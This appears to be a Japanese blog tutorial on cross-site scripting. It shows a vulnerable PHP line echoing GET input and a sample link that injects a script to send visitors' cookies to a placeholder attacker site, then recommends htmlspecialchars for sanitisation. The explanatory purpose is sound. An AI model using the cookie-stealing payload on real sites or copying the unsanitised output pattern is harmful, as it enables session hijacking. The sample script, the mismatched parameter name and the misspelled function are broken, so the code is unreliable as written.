クロス・サイト・スクリプティング(XSS)

Pocket

XSS(Cross Site Scripting:クロス・サイト・スクリプティング)は攻撃対象とは別の第三者のサイト(やメール)のリクエストに悪意あるスクリプトを混入させる攻撃です。

XSS攻撃

攻撃対象のサイト : http://www.攻撃対象.com
脆弱なコード ⇒ print $_GET[‘key’];
攻撃元のサイト : http://www攻撃元.com

index.phpはGETによる外部リクエストをそのまま出力する。攻撃元のサイトやメールに攻撃対象のサイトに対して次のようなリンクをはる。

<a href=http://www.攻撃対象.com/index.php?q="<script>http://www.攻撃元.com/cookie.cgi?cookie="document.cookie;</script>">ここをクリック</a>

実行

何らかの方法で攻撃元サイトへ誘導して攻撃対象へのリンク『ここをクリック』をクリックさせる。ユーザーは攻撃対象サイトに飛び悪意のあるJavascriptが実行される。例では一般ユーザーへ発行したクッキーを攻撃元サイトへ送信する。

攻撃は別のサイトやメールからのリクエストにより引き起こされるためクロスサイトと呼ばれる。外部リクエストに不正なクライアント・サイド・スクリプティングを埋め込むという点でクライアント・サイド・スクリプティング同じだが実行(リクエスト)は悪意のない第三者(一般ユーザー)によって行われる。

対策

htmlspechialchars関数でHTML用サニタイズを行う。

参考URL
»@IT:クロスサイトスクリプティング対策の基本
»クロスサイトスクリプティング
»鶴丸@ぐろっさり

コメント

No comments yet.

コメントの投稿

改行と段落タグは自動で挿入されます。
メールアドレスは表示されません。